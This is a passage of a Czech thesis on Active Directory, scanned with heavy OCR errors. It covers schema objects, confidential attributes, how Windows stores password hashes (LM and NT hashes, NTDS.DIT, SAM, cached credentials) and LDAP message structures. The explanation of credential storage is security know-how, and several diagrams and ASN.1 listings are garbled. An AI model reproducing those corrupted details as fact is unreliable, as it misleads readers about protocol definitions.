organizovana ve formé atributli objektu. Atributy tak hraji klicovou roli pfi spravé informaci

a umoznuji efektivni vyhleddvani, spravu i zabezpeceni uloZenych tdaji.[7]
Atributy

Atributy jsou zdkladnimi nositeli informaci, které definuji obsah objektu nebo dalsi vlast-
nosti jinych atributii. Kazdy objekt v adresafi Active Directory je tvofen souborem atributi,
které uchovavaji konkrétni idaje. Napiiklad objekt uzivatelského ictu mize obsahovat atri-
buty jako jméno, piijmeni, heslo, Cislo kancelare i telefonni ¢islo. Rizné typy objektti maji
pfitom odli$né sady atributd. Objekt tiskarny tak napfiklad nese informace o modelu, poctu
zasobniki papiru, fyzickém umisténi ¢i portu pripojeni. [7]

Nekteré atributy maji vazbu na dals{ atributy, zejména z hlediska syntaxe a funkce. Miize
jit napriklad o udaj, ktery urCuje, zda je atribut povinny, nebo nepovinny, pfipadné jaky
datovy typ ma byt pouzit. Syntaxe definuje formét dat ulozenych v konkrétnim atributu.
Napriklad atribut pro telefonni ¢islo mize byt omezen pouze na Cislice 0 az 9 a znaky jiné

povahy (napf. pismena) nejsou povoleny.[7]
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Atributy se déli na povinné a nepovinné. Povinné atributy musi byt pii vytvareni objektu
vZzdy vyplnény — napiiklad atributy uzivatelské jméno a heslo jsou nezbytné pro vytvoreni
a funk¢nost uZivatelského dctu. Naproti tomu atribut ¢islo kanceléfe je nepovinny. Navic
zvySuje komfort sprdvy, ale jeho absence nemad vliv na funk¢énost tctu. Nepovinné atributy

tedy slouzi k doplnéni informaci a lepsi orientaci v sit' ovych prostfedcich. [7]
Tridy

Definice objekti v Active Directory jsou usporadany do skupin nazyvanych tfidy. Kazda
tiida slouzi jako Sablona, podle niZ se vytvéii konkrétni objekt. Tfida objektu urcuje, jaké

atributy objekt obsahuje, a zaroven rozliSuje, které z nich jsou povinné a které volitelné. [7]

Active Directory disponuje sadou pfeddefinovanych ttid, které zahrnuji vSechny typy ob-
jektl potifebné pro spravny chod adresarové sluzby. Napfiklad pii vytvofeni nového uzivatel-
ského uctu v adresafi se systém opira o tfidu classUser, jeZ specifikuje, Ze ucet musi obsaho-
vat atributy jako uZivatelské jméno a heslo, pricemz dals{ atributy, napfiklad ¢islo kancelare,
mohou byt doplnény podle potfeby.[7]

Ttidy jsou v hierarchii organizovany prostfednictvim principu dédicnosti. Nové definice
objektl se vytvareji tak, Ze se tfidy vnoruji jedna do druhé, ¢imZ vznikd vztah rodi¢ — poto-
mek. Vnofena tiida se nazyva podtiida a tfida, do niZ je vnorena, se oznacuje jako nadtfida.
Podtiida dédi atributy své nadtiidy a rozSifuje je o dalsi specifické vlastnosti. Kombinaci
riznych tfid a jejich atributii tak miZe vzniknout nova definice objektu presné ptizpisobena
pozadavkim konkrétni situace.[7]

Tento mechanismus vnofovani a dédi¢nosti umoZziuje flexibilni a zaroven standardizo-

vany zpusob definice objektl v radmci celé struktury Active Directory.
3.2.2 Schéma objektu

Schéma definuje typy objekti, které jsou adresarové sluzbé k dispozici. Schéma je uloZeno v
oddilu schématu, ktery je rovnéz definovén jako objekt v adresafi. Atributy a tfidy v Active
Directory jsou ulozeny v oddilu schématu jako objekty adresare, které se nazyvaji objekty
schématu. Samotny oddil schématu je v adreséii Active Directory reprezentovan objektem,
ktery je instanci tfidy dMD (Directory Management Domain). Objekt schématu, nazyvany

objekt classSchema, definuje kaZdou tfidu ve schématu. Dalsi objekt schématu, nazyvany
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objekt attributeSchema, definuje kazdy atribut ve schématu. Kazda tfida je tedy vlastné in-

stanci tfidy classSchema a kazdy atribut je instanci tfidy attributeSchema.[7]

Schema Objects Schema Directory
e L ]
classschema classUser UserObject
clazzID clazzIDclassUser claszIDiclassUser
attributes charnal
cri:

attributes charnaZz cnt
attribtell: Usernarne
attribtasS yntan:

Uszernarne! Bzrnith
Synta

attributeSchema

cri
cri attribitell: Password
attributell attributeSyntax:

sttributeSyntax o

cri
attributell Password
Suntax

=]
attributelIl: Phone
attributes yntamx

o
Phone Hurnber: 425-555-0123
Syntax

Obréazek 3.2.1 Objekt schématu a jeho propojeni [Zdroj: [7]]
attributeSchema Objekty

Atributy popisuji tiidy definované ve schématu. Atributy jsou ve schématu definovany od-
délené od tfid, coZ umoZnuje pouzit jednu definici atributu pro mnoho tfid. Atributy jsou
objekty attributeSchema. Kazdy objekt attributeSchema je instanci tfidy attributeSchema.
Stejné jako kazdy jiny objekt md i objekt atributSchema své vlastni atributy. Atributy ob-

jektu atributSchema uchovavaji mimo jiné nasledujici informace(7]:

* Nazev atributu v protokolu LDAP (Lightweight Directory Access Protocol),

Identifikétor objektu pro atribut,

Globdélné jedinecny identifikdtor (GUID) atributu,

Syntaxe atributu,

Rozsah atributu. U celych &isel rozsah definuje minimdlni a maximdlni hodnotu, u

fetézcl rozsah definuje minimdlni a maximalni délku,

Zda je atribut vicehodnotovy. VSimnéte si, Ze vicehodnotové atributy obsahuji sadu
hodnot bez urcitého potradi. Vicehodnotové atributy nemusi byt vraceny v poradi, v
jakém byly uloZeny (nebo v jakémkoli jiném poradi),

* Zda a jak je atribut indexovén.

[7]
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classSchema Objekty

Objekt classSchema urcuje rtizné atributy tfidy, se kterou je spojen. Mimo jiné definuje na-

sledujici omezeni pro objekty, které jsou instancemi tiidy:

 Atributy mustContain, které zahrnuji povinné atributy, jeZ musi byt pfitomny u kaz-
dého objektu, ktery je instanci této tiidy.

* mayContain atributy, které zahrnuji nepovinné atributy, jeZ se mohou vyskytovat na
objektu, ktery je instanci této tridy.

* Pravidla hierarchie, ktera uruji mozné rodice v adresafovém stromu objektu, ktery je
instanci tiidy.

Objekt miize mit atributy, které patii pouze do seznamu mustContain nebo mayContain
pro danou tfidu. Objekt classSchema je v podstaté Sablona, kterd obsahuje pravidla pro vy-
tvareni objekti tiidy sluzby Active Directory. KdyZ je ve tfidé vytvoren novy objekt, objekt
classSchema zajisti, aby tento novy objekt mél stejné atributy jako vSechny ostatni objekty

ve tiidé. The classSchema object contains, among other things, the following information[7]:

* Zobrazovaci nazev tiidy LDAP,

* Identifikdtor objektu tridy,

* GUID tridy,

* Atributy, které musi instance tfidy obsahovat,

 Dalsi atributy, které mohou byt piitomny u instance tfidy,

* Ttidy, do kterych mohou patfit nadfazené instance této tridy,

e Nadtfida, od které tato tiida dédi vlastnosti,

 Dalsi pomocné tfidy, od kterych tato tfida dédi atributy,

* Typ tfidy (abstraktni, strukturdlni nebo pomocnd),

* Vychozi stav skryti tfidy. Pokud nechcete, aby se instance tfidy zobrazovaly v uZiva-

telském rozhrani koncového uzivatele, miZete tfidu definovat jako vychozi skrytou.
3.2.3 Duvérné atributy

V fadi¢ich domény jsou atributy, jejichZ objekty atributSchema jsou oznaceny specifickym
priznakem vyhledavani, a jsou interpretovany jako diivérné. Takto oznacené atributy mohou

Cist pouze uZzivatelé, kterym je udélen nésledujici pristup: [7]
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* READ_PROPERTY
* CONTROL_ACCESS
Moznost oznacit atributy jako divérné umoznuje spravcim chranit atributy pred pfistu-

pem ke Cteni, ktery je ve vychozim nastaveni umoznén vét§in€ uZzivatelii. Namisto zmény
vychozich nastaveni, kterd jsou ocekdvana stavajicimi aplikacemi, mohou spravci vytvorit
nové atributy, které mohou ¢ist pouze spravci nebo ti, kterym je ptistup vyslovné udélen.
Ve vychozim nastaveni provadi sluzba Active Directory kontrolu pfistupu ke Cteni objektu v
nasledujicich pripadech[7]:

* Pfi vyhodnocovani, zda objekt odpovida vyhleddvacimu filtru.

* Pfi vraceni atributli objektu, ktery odpovida vyhleddvacimu filtru

Active Directory umoZziiuje oznacit urcity atribut jako divérny prostiednictvim nastaveni
hodnoty searchFlags v objektu attributeSchema ve schématu adresére. Tento mechanismus
poskytuje administratordm nastroj pro zvySenou ochranu citlivych udaju, jako je napiiklad

rodné ¢islo nebo ¢islo socidlniho zabezpeceni.[7]

Pokud je atribut oznacen jako divérny, k jeho precteni jiZ nestaci standardni opravnéni
READ_PROPERTY (bud’ pro konkrétni atribut, nebo pro vSechny atributy daného objektu).
Navic je vyZadovano opravnéni CONTROL_ACCESS, a to bud’ pro konkrétni atribut, nebo

pro celou sadu vlastnosti, do které atribut spada.[7]

Ve vychozim nastaveni maji opravnéni CONTROL_ACCESS pouze Clenové integrované
skupiny Administrators, coZ znamend, zZe Cteni diivérnych atributi je standardné omezeno
jen na spravce. Toto pravo Ize vSak delegovat i jinym uZivatelim ¢i skupindm podle potieby

organizace a zasad pristupu k citlivym datim.[7]
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3.3 Ukladani hesel v Active Directory

V této Casti se zaméfime na zpisob ukladani hesel v prostiedi Active Directory. Nekteré
objekty v adresdfi mohou obsahovat atributy hesla, které mohou byt v pfipadé tniku dat
velmi cenné pro potencidlniho ttoc¢nika, napiiklad pokud by chtél ziskat neopravnény piistup
k pocitacim v doméné. [11]

Operacni systém Windows reprezentuje hesla jako fetézce v kddovani Unicode s maxi-
malni délkou 256 znakd. Prihlasovaci dialogové okno je vSak omezeno na 127 znakd, coz
predstavuje maximadlni délku hesla pfi béZném uZivatelském zaddvani. Delsi hesla je mozné
vyuZzit pouze prostfednictvim programového nastaveni, naptiklad u systémovych sluzeb.[11]

Hesla jsou v systému Windows ukldddna riznymi zptsoby v zdvislosti na jejich pouZiti.
Zpusob ulozeni zavisi na tom, zda jsou hesla vyuzivana pfi prihlasovani k doméné, autenti-

zaci sit’ ovych sluzeb, nebo k jinym téeltim zabezpeceni systému.[11]
3.3.1 Hesla uloZena jako Hash

Pro pouziti v sitich Windows, v€etné domén Active Directory, je heslo ve vychozim nastaveni
uloZeno dvéma riiznymi zptisoby: jako jednosmérna funkce spravce sit¢ LAN (LM Hash) a

jako NT Hash. LM hash je spocitan nasledujicim zptisobem: [11]

* Heslo je doplnéno bajty NULL, aby obsahovalo pfesné 14 znaki. Pokud je heslo delsi

nez 14 znakd, je pro zbyvajici operace nahrazeno 14 NULL bajty.

Heslo je prfevedeno na vSechna velkd pismena.

Heslo je rozdéleno na dva 7bajtové (56bitové) klice.

Kazdy kli¢ se pouZije k zaSifrovani pevného fetézce.

Oba vysledky z kroku 4 se spoji a uloZi jako LM hash.
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00000000

NAPIER00000000

NAPIEROO 0000000
64-bi1t key 64 bit key

Resulting LM Hash

Obrazek 3.3.1 Grafické zndzornéni konstrukce LM hashe [Zdroj: https://media.licdn.
com/dms/image/v2/C4D12AQ0HPmi8geUhqWw/article-inline_image-shrink_1000_
1488/article-inline_image-shrink 1000_1488/0/15200665591687e=
1734566400&v=beta&t=EvejovdFz2jCWVOkmVdXGI-028Z- JQ5PnHPmmclcX71I]

Algoritmus LM hash je soucésti systému Windows kvili zpétné kompatibilité se soft-

warem a s hardwarem, ktery nemize pouZivat novéjsi algoritmy.[11]


https://media.licdn.com/dms/image/v2/C4D12AQHPmi8geUhqWw/article-inline_image-shrink_1000_1488/article-inline_image-shrink_1000_1488/0/1520066559168?e=1734566400&v=beta&t=EvejovdFz2jCWV0kmVdXGI-o28Z-JQ5PnHPmmclcX7I
https://media.licdn.com/dms/image/v2/C4D12AQHPmi8geUhqWw/article-inline_image-shrink_1000_1488/article-inline_image-shrink_1000_1488/0/1520066559168?e=1734566400&v=beta&t=EvejovdFz2jCWV0kmVdXGI-o28Z-JQ5PnHPmmclcX7I
https://media.licdn.com/dms/image/v2/C4D12AQHPmi8geUhqWw/article-inline_image-shrink_1000_1488/article-inline_image-shrink_1000_1488/0/1520066559168?e=1734566400&v=beta&t=EvejovdFz2jCWV0kmVdXGI-o28Z-JQ5PnHPmmclcX7I
https://media.licdn.com/dms/image/v2/C4D12AQHPmi8geUhqWw/article-inline_image-shrink_1000_1488/article-inline_image-shrink_1000_1488/0/1520066559168?e=1734566400&v=beta&t=EvejovdFz2jCWV0kmVdXGI-o28Z-JQ5PnHPmmclcX7I
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NT hash je jednoduse hash. Heslo je transformovano pomoci algoritmu MD4 a uloZeno.
NT hash se pouziva pro ovéfovani ¢lenti domény jak v doménéach systému Windows NT
4.0 a starSich, tak v doménéch sluzby Active Directory. NT ani LM hash se nesoli. Soleni
je proces, ktery pred vypoctem jednosmérné funkce kombinuje heslo s ndhodnou ciselnou

hodnotou (soli).[11]
3.3.2 Hesla uloZena v Active Directory

Hesla jsou uloZena v nékolika atributech databéze sluzby Active Directory v souboru NTDS.DIT.
Tyto atributy jsou nésledujici: [11]

* unicodePwd - Sifrovany NT Hash,

dbcsPwd - Sifrovany LM Hash,

ntPwdHistory - Sifrovany NT Hashe - Historie hesel,

ImPwdHistory - Sifrovany LM Hashe - Historie hesel,

* supplementalCredentials - Kerberos Kli¢e, Kontrolni sumy atd.

Pii uklddani do DIT souboru je hash NT chrdnén dvéma vrstvami Sifrovani. V systému
Windows Server 2016/Windows 10 a novéjsich verzich je nejprve Sifrovan pomoci DES
kvuli zpétné kompatibilit€ a poté pomoci CNG BCrypt AES-256. Pfedchozi verze systému

Windows Sifrovaly hesla NT pomoci dvou vrstev Sifrovani DES + RC4. [11]
3.3.3 Hesla uloZena v SAM databazi

U ¢lenti domény a pracovnich stanic jsou hashe hesel mistnich uzivatelskych 6ctd uloZeny v
mistni databdzi Spravce zabezpeceni uctli (SAM) umisténé v registru. Jsou Sifrovana pomoci
stejnych Sifrovacich a hashovacich algoritmi jako ve sluzbé Active Directory. Hesla v atri-

butu supplementalCredentials pro mistni uZivatelské ucty jsou od systému Windows Server

2016 rovné€z uloZena v mistni databazi SAM.[11]

Operacni systém Windows uklada tzv. ovérovace hesla (cached credentials) také na drovni
Clenskych pocitac¢t domény. K tomu dochazi ve chvili, kdy se uZivatel domény uspésné pfi-
hlasi k danému zafizeni. Tento ovéfovac slouzi k tomu, aby bylo moZzné uZivatele autentizo-
vati v ptipadé, Ze neni dostupné ptimé spojeni s fadi¢em domény (napt. pii praci offline).[11]

Ovérovac hesla se bézn€ oznacuje jako povéfeni v mezipaméti a jeho vypocet probihd

ndsledovné: ze zadaného hesla se vytvori NT hash, ktery se ndsledné zkombinuje s uZiva-
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telskym jménem a cely vysledek se znovu zahaSuje pomoci hashovaci funkce MD4. Tento
mechanismus zaji$t'uje, Ze systém je schopen ovérit uzivatele 1 bez aktivniho spojeni s Active

Directory, pficemz zdroven zachovdva urcitou droven bezpecnosti.[11]
3.4 Fungovani hesel v systému Windows a jejich pouziti

V systému Windows a mnoha dalSich operacnich systémech je jednou z metod ovéfovani
identity uZivatele pouZiti tajné ptistupové fraze nebo hesla. Zabezpeceni sit’ového prostiedi
vyzaduje, aby vSichni uZivatelé pouzivali silnd hesla. To plati zejména pro Gcty spravcu.
Nastaveni zasad hesel fidi slozitost a zivotnost hesel. Zasady hesel ovliviiuji hesla systému

Windows, nikoli nutné hesla funkci. Tyto zdsady v zdkladnim nastaveni jsou nasledujici[11]:

¢ Hesla nesmi obsahovat hodnotu samAccountName (Nazev uctu) nebo celou hodnotu
displayName (Celé jméno). Pti Zadné z t€chto kontrol se nerozliSuji velkad a malé pis-
mena.
* Heslo obsahuje znaky ze tii ndsledujicich kategorii:
— Velka pismena evropskych jazykl (A az Z s diakritikou, fecké znaky a znaky
cyrilice).
— Mala pismena evropskych jazyki (a aZ z, ostré s, s diakritikou, fecké a cyrilské
znaky).
— Cislice zakladu 10 (0az9).
— Nealfanumerické znaky (specidlni znaky)[10]

Pri pfihlaseni uzivatele je zadané heslo okamzité prevedeno pomoci dvou typt jedno-
smérnych hashovacich funkci a uloZeno do paméti procesu LSASS (Local Security Autho-
rity Subsystem Service). V pfipadé€, Ze se uZivatel ovéfuje vici mistnimu Gctu, dochazi k
porovnani NT hash hodnoty (NT OWF) s lokdln€ ulozenym hashem. Pokud se tyto hodnoty
shoduji, je uzivateli umoZnén pfistup do systému. [11]

V situaci, kdy se oveéfovani provadi vii¢i doméné Active Directory (napf. pomoci ndzvu
hostitele pro pfistup ke konkrétnimu prostiedku), je NT hash vyuZit v rdmci pfihlaSeni pies
protokol Kerberos. Ten spolupracuje s centrem distribuce kli¢d, které se zpravidla nachazi

na fadi¢i domény. [11]



4. Sit’ové protokoly pouzivané v Active
Directory

Tato kapitola se zaméfi na nejdtlezitéjsi Cast prace a tim je rozbor protokold, které se po-
uZzivaji pro komunikaci s doménovymi fadi¢i. Mezi hlavni protokoly, které budu zminovat,
je LDAP, ktery se vyuZziva pfi operacich s Active Directory a Kerberos, ktery zabezpecuje
ovéreni totoznosti. Tyto protokoly se déli do funk¢nich skupin podle toho, k jakym sluzbam
dava pristup.[1]

Zakladni skupina obsahuje protokoly, které jsou podporovany vSemi adresafovymi ser-
very v systému Active Directory. Do této skupiny patii protokol LDAP, ktery je primdrnim
protokolem pouZzivanym ke Cteni a zapisu objekti v adresarovém stromu. Protokol DSSP
(Directory Services Setup Remote Protocol) neprovadi operace proti adresafovému stromu,
ale je zahrnut do této skupiny, protoZe je rovnéZ pritomen na vSech adresafovych serverech

v protokolech sluzeb Active Directory. [1]

Do skupiny SAM patii SAMR (Security Account Manager Remote Protocol Client to
Server) a SAMS (Security Account Manager Remote Protocol Server to Server). SAMR se
pouziva k idrzbé Gctd a pracuje se stejnym adresafovym stromem jako zakladni skupina pro-
tokolt, ale poskytuje pristup pouze k podmnoZiné objekti v tomto stromu a dale poskytuje
piistup pouze k podmnoZiné atributl téchto objektli. SAMS se pouziva k provadéni udrzby
uctd a Casove kritickych zmén databaze mezi servery sluzby Active Directory, které jsou ve
stejné doméné.[1]

Skupina LSA (Local Security Authority) obsahuje protokoly LSAD (Local Security Au-
thority Domain Policy) a LSAT (Local Security Authority Translation Methods). Oba proto-
koly jsou obsluhovény stejnym rozhranim RPC a koncovym bodem. Tyto protokoly umoz-
nuji klientim nacitat informace o zasadich zabezpeceni a prevadét identifikdtory zabezpe-
¢eni (SID), které identifikuji zadavatele zabezpeceni, naptiklad uzivatele, na lidsky Citelné
nazvy. [1]

40
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Skupina webovych sluZeb se sklada z protokold WS-Transfer, WS-Enumeration a AD-
CAP spolu s rozsitenimi protokoli [MS-WSDS] (WSDS) a [MS-WSPELD] (WSPELD).
Tato skupina protokoll je podporovédna pouze v nékterych verzich sluzby Active Directory
Services. Podobné jako zdkladni skupina umoznuji tyto protokoly klientim Cist a zapiso-
vat adresafové objekty ve stromu adresait a provadét vybrané dlohy vici stromu. Na rozdil
od zdkladni skupiny jsou protokoly v této skupiné zaloZeny na protokolu SOAP, nikoli na

vzdaleném volani procedur (RPC) nebo blokové strukturovaném pienosu. [1]

Posledni skupina zaji$t'uje replikace adresére a obsahuje protokoly DRSR a SRPL. DRSR
je protokol RPC, ktery se pouZziva pro spravu replikace a spravu dat ve sluzbé Active Di-
rectory. SRPL je rozsiteni protokolu DRS pro pfenos pies protokol SMTP (Simple Mail

Transfer Protocol). [1]

Nésledujici schéma znazornuje vztahy mezi protokoly systému Active Directory:

[M5-DRSR] [M5-DS5P] [MS-APDS] |-— |[MS-WSDS] [WS-ENUMERATION]
A A A A A
[MS3-SAMR] [M5-MLMP] [M5-DNSP] [MS-WSTIM] [WS-TRANSFER]
Y A A f
[MS-LSAD] [MS5-LSAT] [MS-RCMP] [MS-ADDM] [MS-WSPELD]
A A S A '}
[MS-NRPC] [MS-5AMS] [MS-ADCAP] [MS-ADFWAP]
A A [Ms-PAC] 'y A
YvYy YYY O (AAI YYrvy v YyYv v

Remote Procedure Call Protocol Extensions ) SOAP 1.1/SOAP 1.2

[MS-RPCE]

A A

LDAP [MS-ADTS]
[M5-DFSC] [RFC2251]
[ [} Y y
v [M5-5NTP] [MS-KILE] HTTR/HTTPS
CIF5/5MB
[MS5-CIFS], A A A
{MS-Sma3i tHE-68pL]

A A

Y Yy L A Y /

Metwork transports

Obrazek 4.0.1 Schéma vztahti mezi protokoly systému Active Directory [Zdroj: [1]]
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4.0.1 Lightweight Directory Access Protocol - LDAP

LDAP slouzi jako primarni protokol ke Cteni a k zdpisu objekti. Obecny model protokolu
spociva v tom, Ze klienti provadéji operace protokolu viici serveriim. V tomto modelu klient
predd serveru protokolovy pozadavek popisujici operaci, kterd ma byt provedena. Server je
pak odpovédny za provedeni potfebné operace (operaci) v adresafi. Po dokonceni operace
server obvykle vrati zadajicimu klientovi odpovéd’ obsahujici ptislusna data. [12]

Operace protokolu jsou obecné na sobé nezdvislé. Kazda je zpracovana jako atomicka
akce, priCemzZ adresar zdstava v konzistentnim stavu, ackoli servery musi vracet odpovédi.
PoZzadavky a odpovédi na vice operaci mohou byt obecné mezi klientem a serverem vy-
ménovany v libovolném potadi. Pokud je to vyZadovano, synchronni chovani mohou fidit

klientské aplikace. [12]

Operace protokolu se vyménuji na vrstvé zprav LDAP. Po uzavieni transportniho spojeni
jsou vSechny nedokoncené operace na vrstvé zprav LDAP preruseny (pokud je to mozné)
nebo jsou dokonceny bez prenosu odpovédi (pokud jejich preruseni neni mozné). Pti uza-
vieni transportniho spojenf také klient NESMI predpokladat, Ze viechny nedokon&ené aktu-

alizaCni operace byly uspé$né nebo nedspésné. [12]
4.0.2 Struktura protokolu

Protokol je popsdn pomoci abstraktni syntaktické notace jedna. ((ASN.1]) a je prenasen po-
moci podmnoZiny zdkladniho kddovani ASN.1. pravidel ([BER]). Pro ucely vymény proto-
kolii jsou vSechny operace protokolu zapouzdfeny ve spolecné obdlce LDAPMessage, ktera

je definovana nasledujici strukturou:
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\textbf{LDAPMessage} ::= SEQUENCE {

messagelD MessagelD,

protocolOp CHOICE {
bindRequest BindRequest,
bindResponse BindResponse,
\textbf{UnbindRequest} \textbf{UnbindRequest

},

searchRequest SearchRequest,
searchResEntry SearchResultEntry,
searchResDone SearchResultDone,
searchResRef SearchResultReference,
modifyRequest ModifyRequest,
modifyResponse ModifyResponse,
addRequest AddRequest,
addResponse AddResponse,
delRequest DelRequest,
delResponse DelResponse,
modDNRequest ModifyDNRequest ,
modDNResponse ModifyDNResponse,
compareRequest CompareRequest,
compareResponse CompareResponse,
abandonRequest AbandonRequest,
extendedReq ExtendedRequest,
extendedResp ExtendedResponse,
intermediateResponse IntermediateResponse 17,

controls [0] Controls OPTIONAL }

MessageID ::= INTEGER (0 .. maxInt)
maxInt INTEGER ::= 2147483647 -- (231 - 1) --

Vypis 4.0.1 JStruktura a elementy LDAP protokolu [Zdroj: [12]]

Ukolem zpriavy LDAPMessage je poskytnout obdlku obsahujici spoleénd pole vyZa-
dovand ve vSech vyménach protokolu. V soucasné dobé jsou jedinymi spoleCnymi poli
messagelD a controls. Pokud server obdrzi od klienta zpravu LDAPMessage, ve které nelze
rozpoznat znacku LDAPMessage SEQUENCE, nelze analyzovat messagelD, znacka pro-
tocolOp neni rozpozndna jako poZadavek nebo jsou zjiStény nespradvné kddovaci struktury
nebo délky datovych poli, pak server MUSI vritit ozndmeni o odpojent s vyslednym kédem
resultCode nastavenym na hodnotu protocolError, a MUSI okamZit& ukon&it relaci LDAP.
V ostatnich p¥ipadech, kdy klient nebo server nemiize analyzovat PDU LDAP, MUSI n4-
hle ukoncit relaci LDAP, pokud by dal§i komunikace (vCetné poskytnuti ozndmeni) byla
$kodlivd. V opatném piipadé MUSI implementace serveru vratit piislu§nou odpovéd’ na

pozadavek s kddem resultCode nastavenym na hodnotu protocolError.[12]
MessagelD

Kazda odpovéd’ v ramci protokolu LDAP je zapouzdiena do obalky zpravy typu LDAP-
Message, kterd vzdy obsahuje hodnotu messagelD odpovidajici konkrétnimu pozadavku.

Hodnota messagelD pozadavku musi byt nenulovd a zdroven se musi liSit od messagelD
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vSech ostatnich aktivnich pozadavki v ramci téZe LDAP relace. Hodnota 0 je rezervovana
vyhradné pro nevyzidané notifikacni zpravy. V praxi klienti obvykle pouZzivaji inkrementdlni
¢itac k prifazeni jedineCného messagelD kazdému novému poZadavku. Klient nesmi odeslat
novy pozadavek se stejnym messagelD jako diive pouzity, pokud nemad s jistotou ovétreno,
Ze server jiz predchozi pozadavek zpracoval. V opacném piipadé mize dojit k nedefinova-
nému chovani. Je dilezité poznamenat, Ze operace Abandon a uspésné zrusené pozadavky

nevyvolavaji Zddnou odpovéd’ ze strany serveru.
Controls

Controls poskytuji mechanismus, kterym lze rozsitit sémantiku a argumenty stavajicich ope-
raci LDAP. K jedné zpravé LDAP lze pripojit jeden nebo vice ovladacich prvkd. Ovladaci
prvek ovliviiuje pouze sémantiku zpravy, ke které je ptipojen. Typ controls je definovan na-

sledujici strukturou[12]:

Controls ::= SEQUENCE OF control Control
Control ::= SEQUENCE {
controlType LDAPOID,
criticality BOOLEAN DEFAULT FALSE,
controlValue OCTET STRING OPTIONAL }

Vypis 4.0.2 Struktura Controls elementu [12]

Pole controlType je dotted-decimal reprezentace OBJECT IDENTIFIER, kterd jedno-
znacné identifikuje ovladaci prvek. To umoziuje jednozna¢né pojmenovani ovladacich prvk.
Ridici prvky odpovédi vyZadané fidicim prvkem poZadavku &asto sdileji hodnoty control-
Type s fidicim prvkem pozadavku.[12]

Pole criticality ma vyznam pouze v kontrolach pripojenych k zpravam pozadavki (kromé
UnbindRequest). Pro ovladdaci prvky pfipojené k zpravam odpovédi a UnbindRequest, pole
kriticnosti by mélo byt FALSE a musi byt pfijimajicim protéjsSkem ignorovano. TRUE zna-
men4, Ze je nepfijatelné provést kontrolu. bez pouziti sémantiky kontroly. Konkrétné se pole
kriti¢nosti pouzije nasledujicim zplisobem [12]:

* Pokud server nerozpozna typ ovladaciho prvku, zjisti, Ze neni pro danou operaci vhodny,
nebo z jiného divodu neni ochoten operaci s timto ovladacim prvkem provést, a pokud
je pole criticality TRUE, server nesmi operaci provést a u operaci, které maji zpravu s
odpovédi, musi vratit vysledek s kddem resultCode nastavenym na hodnotu unavaila-

bleCriticalExtension.
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* Pokud server nerozpozna typ ovladaciho prvku, zjisti, Ze neni pro danou operaci vhodny,
nebo z jiného diivodu neni ochoten operaci s timto prvkem provést, a pokud je pole
criticality FALSE, server musi tento prvek ignorovat.

* Bez ohledu na criticality, pokud je kontrola pouzita na. je aplikovana disledné a ne-

stranné na danou operaci. celou operaci.

[12]

4.1 Operace Bind

Ukolem operace Bind je umoZnit vyménu overovacich informaci mezi klientem a serverem.

Operace Bind je ve zpravé definovana nasledujici strukturou:

BindRequest ::= [APPLICATION 0] SEQUENCE {

version INTEGER (1 .. 127),
name LDAPDN,
authentication AuthenticationChoice }

AuthenticationChoice ::= CHOICE {
simple [0] OCTET STRING,

--_ 1 and 2 reserved

sasl [3] SaslCredentials,
. }

SaslCredentials ::= SEQUENCE {
mechanism LDAPString,
credentials OCTET STRING OPTIONAL }

Vypis 4.1.1 ]Struktura operace bind [Zdroj: [12]]

V této strukture jednotliva pole znamenaji:

* Verze - Cislo verze oznacujice verzi protokolu, kterd se ma pouZit na vrstvé zprav
LDAP. Klient nastavi toto pole na poZadovanou verzi. Pokud server nezadd nepod-
poruje zadanou verzi, MUSI odpovédét odpovédi BindResponse. kde je resultCode
nastaven na protocolError.

* Name - pokud neni prazdny, je to ndzev objektu adresafe, ktery je si klient pfeje pfi-
pojit. Toto pole miZe nabyvat nulové hodnoty (a fetézec nulové délky) pro ucely ano-
nymnich vazeb nebo pii pouziti ovéfovani SASL (Simple Authentication and Security
Layer). Pokud se server pokousi najit pojmenovany objekt, NESMI provadét derefe-
rencovani aliasa.

* Authentication - informace pouzivané pti ovérovani. Servery, které nepodporuji volbu
zadanou klientem, vraceji BindResponse s resultCode nastavenym na authMethod-

NotSupported.
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4.1.1 Zpracovani zpravy BindRequest

Pfed zpracovanim pozadavku BindResponse musi byt vSechny nedokoncené operace bud’
dokonceny, nebo pieruseny. Server mize bud’ pockat, azZ se nedokoncené operace dokonci,
nebo od nich upustit. Server pak pokracuje v ovérovani klienta bud’ v jednokrokovém, nebo

ve vicekrokovém procesu Bind.

Kazdy krok vyzaduje, aby server vritil BindResponse, ktera oznacuje stav ovéreni. Po
odeslani pozadavku BindResponse klienti nesmi odesilat dalsi LDAP zpravu, dokud ne-
obdrzi odpovéd’ BindResponse. Stejné tak servery nesmi zpracovavat pozadavky pfijaté

béhem zpracovani BindResponse ani na né odpovidat.

Pokud se klient pfed odeslanim poZadavku nevazal a obdrZi zpravu operationsError k
tomuto pozadavku, miZe pak odeslat poZadavek BindResponse. Pokud i tento pozadavek
selze nebo se klient rozhodne nevédzat na existujici pozadavek LDAP, mtize relaci LDAP

ukoncit, znovu ji navdzat a zacit znovu tim, Ze nejprve odesle poZzadavek BindResponse.
4.1.2 Odpovéd’ na zpravu BindRequest

BindResponse se skldda z pouhého sdéleni serveru o stavu poZadavku klienta na ovéteni.
Uspé&snd operace Bind je indikovéna odpovédi BindResponse s kédem resultCode nastave-
nym na hodnotu success. V opacném piipad¢ je v BindResponse nastaven prislusny vysled-
kovy kéd. Pro BindResponse miize byt pouzit vysledny kéd protocolError, ktery oznacuje,

Ze Cislo verze zadané klientem neni podporovano.

Pokud klient obdrZi BindResponse, kde je resultCode nastaven na protocolError, ma
predpokladat, Ze server tuto verzi LDAP nepodporuje. Klient sice miiZze pokracovat s jinou
verzi tohoto protokolu (coZ mtize, ale nemusi vyZadovat uzavieni a opétovné navazani trans-
portniho spojeni). Klienti, ktefi nejsou schopni nebo ochotni pokracovat, musi relaci LDAP

ukoncit.
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4.1.3 Operace a zprava Unbind

Ukolem operace Unbind je ukonéit relaci LDAP. Operace Unbind neni oviem protikladem
operace Bind. Pojmenovéni téchto operaci je historické. Operaci Unbind je tieba chapat
jako operaci ,,ukonceni*. Klient po odeslani pozadavku UnbindRequest a server, po prfijeti
UnbindRequestu, maji ukoncit relaci LDAP. Nedokoncené operace jsou opustény (pokud je

to mozné) nebo dokonceny bez odeslani odpovédi (pokud jejich opusténi neni mozné).



5. Kerberos

Timto se dostavam ke klicové Casti této prace — autentizaci a protokolu Kerberos. Tento
protokol predstavuje robustni mechanismus pro ovéfovani identity pfikazct (principéli) v
sit' ovém prostredi, typicky uzivatelii pracovnich stanic nebo servert, aniZ by se spoléhal na
